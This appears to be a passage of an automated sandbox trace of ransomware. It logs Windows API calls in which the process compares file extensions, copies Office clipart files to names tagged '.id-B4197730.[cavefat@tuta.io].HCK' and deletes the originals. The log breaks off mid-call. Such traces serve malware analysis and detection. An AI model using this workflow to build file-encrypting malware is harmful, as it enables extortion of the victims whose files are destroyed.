lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".doc") returned 4 [0229.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".docx") returned 5 [0229.844] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0229.844] lstrlenW (lpString=".pdf") returned 4 [0229.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString=".xls") returned 4 [0229.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0229.844] lstrlenW (lpString=".xlsx") returned 5 [0229.844] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0229.844] lstrlenW (lpString=".ppt") returned 4 [0229.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0229.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.844] lstrlenW (lpString=".zip") returned 4 [0229.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0229.845] lstrlenW (lpString=".rar") returned 4 [0229.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0229.845] lstrlenW (lpString=".bz2") returned 4 [0229.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0229.845] lstrlenW (lpString=".7z") returned 3 [0229.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.845] lstrlenW (lpString=".dbf") returned 4 [0229.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.845] lstrlenW (lpString=".1cd") returned 4 [0229.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0229.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0229.845] lstrlenW (lpString=".jpg") returned 4 [0229.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0229.845] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0229.845] lstrlenW (lpString="J0102594.WMF") returned 12 [0229.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.016] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=27000) returned 1 [0230.016] CloseHandle (hObject=0x4d4) returned 1 [0230.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0230.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.360] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.360] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0230.361] GetLastError () returned 0x0 [0230.361] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x6978, lpOverlapped=0x0) returned 1 [0230.363] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x6980, lpOverlapped=0x0) returned 1 [0230.364] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.364] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.364] SetEndOfFile (hFile=0x49c) returned 1 [0230.364] CloseHandle (hObject=0x49c) returned 1 [0230.364] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.364] SetEndOfFile (hFile=0x544) returned 1 [0230.366] CloseHandle (hObject=0x544) returned 1 [0230.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0230.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.367] lstrlenW (lpString=".doc") returned 4 [0230.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.367] lstrlenW (lpString=".docx") returned 5 [0230.367] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.367] lstrlenW (lpString=".pdf") returned 4 [0230.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.367] lstrlenW (lpString=".xls") returned 4 [0230.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.367] lstrlenW (lpString=".xlsx") returned 5 [0230.367] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.367] lstrlenW (lpString=".ppt") returned 4 [0230.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.367] lstrlenW (lpString=".zip") returned 4 [0230.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.368] lstrlenW (lpString=".rar") returned 4 [0230.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".bz2") returned 4 [0230.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".7z") returned 3 [0230.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".dbf") returned 4 [0230.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".1cd") returned 4 [0230.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".jpg") returned 4 [0230.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".doc") returned 4 [0230.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".docx") returned 5 [0230.368] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.368] lstrlenW (lpString=".pdf") returned 4 [0230.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".xls") returned 4 [0230.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.368] lstrlenW (lpString=".xlsx") returned 5 [0230.368] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.368] lstrlenW (lpString=".ppt") returned 4 [0230.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".zip") returned 4 [0230.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.368] lstrlenW (lpString=".rar") returned 4 [0230.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".bz2") returned 4 [0230.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.368] lstrlenW (lpString=".7z") returned 3 [0230.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.368] lstrlenW (lpString=".dbf") returned 4 [0230.369] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.369] lstrlenW (lpString=".1cd") returned 4 [0230.369] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0230.369] lstrlenW (lpString=".jpg") returned 4 [0230.369] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.369] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.369] lstrlenW (lpString="J0105232.WMF") returned 12 [0230.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.369] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=5632) returned 1 [0230.369] CloseHandle (hObject=0x544) returned 1 [0230.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0230.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.370] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.370] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0230.371] GetLastError () returned 0x0 [0230.371] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x1600, lpOverlapped=0x0) returned 1 [0230.372] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x1610, lpOverlapped=0x0) returned 1 [0230.373] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.373] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.373] SetEndOfFile (hFile=0x49c) returned 1 [0230.373] CloseHandle (hObject=0x49c) returned 1 [0230.373] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.373] SetEndOfFile (hFile=0x544) returned 1 [0230.375] CloseHandle (hObject=0x544) returned 1 [0230.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0230.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.376] lstrlenW (lpString=".doc") returned 4 [0230.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.376] lstrlenW (lpString=".docx") returned 5 [0230.376] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.376] lstrlenW (lpString=".pdf") returned 4 [0230.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString=".xls") returned 4 [0230.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.377] lstrlenW (lpString=".xlsx") returned 5 [0230.377] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.377] lstrlenW (lpString=".ppt") returned 4 [0230.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".zip") returned 4 [0230.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.377] lstrlenW (lpString=".rar") returned 4 [0230.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString=".bz2") returned 4 [0230.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString=".7z") returned 3 [0230.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".dbf") returned 4 [0230.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".1cd") returned 4 [0230.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".jpg") returned 4 [0230.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".doc") returned 4 [0230.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString=".docx") returned 5 [0230.377] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0230.377] lstrlenW (lpString=".pdf") returned 4 [0230.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString=".xls") returned 4 [0230.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.377] lstrlenW (lpString=".xlsx") returned 5 [0230.377] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0230.377] lstrlenW (lpString=".ppt") returned 4 [0230.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.377] lstrlenW (lpString=".zip") returned 4 [0230.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.378] lstrlenW (lpString=".rar") returned 4 [0230.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.378] lstrlenW (lpString=".bz2") returned 4 [0230.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.378] lstrlenW (lpString=".7z") returned 3 [0230.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.378] lstrlenW (lpString=".dbf") returned 4 [0230.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.378] lstrlenW (lpString=".1cd") returned 4 [0230.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0230.378] lstrlenW (lpString=".jpg") returned 4 [0230.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.378] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.378] lstrlenW (lpString="J0105234.WMF") returned 12 [0230.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.379] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=3444) returned 1 [0230.379] CloseHandle (hObject=0x544) returned 1 [0230.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0230.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.380] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.380] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0230.380] GetLastError () returned 0x0 [0230.380] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0xd74, lpOverlapped=0x0) returned 1 [0230.382] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xd80, lpOverlapped=0x0) returned 1 [0230.382] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.382] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.382] SetEndOfFile (hFile=0x49c) returned 1 [0230.382] CloseHandle (hObject=0x49c) returned 1 [0230.382] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.383] SetEndOfFile (hFile=0x544) returned 1 [0230.384] CloseHandle (hObject=0x544) returned 1 [0230.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0230.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.385] lstrlenW (lpString=".doc") returned 4 [0230.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.385] lstrlenW (lpString=".docx") returned 5 [0230.385] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.385] lstrlenW (lpString=".pdf") returned 4 [0230.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.385] lstrlenW (lpString=".xls") returned 4 [0230.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.385] lstrlenW (lpString=".xlsx") returned 5 [0230.385] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.386] lstrlenW (lpString=".ppt") returned 4 [0230.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".zip") returned 4 [0230.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.386] lstrlenW (lpString=".rar") returned 4 [0230.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".bz2") returned 4 [0230.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".7z") returned 3 [0230.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".dbf") returned 4 [0230.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".1cd") returned 4 [0230.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".jpg") returned 4 [0230.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".doc") returned 4 [0230.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".docx") returned 5 [0230.386] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0230.386] lstrlenW (lpString=".pdf") returned 4 [0230.386] lstrcmpiW (lpString1=".pdf", 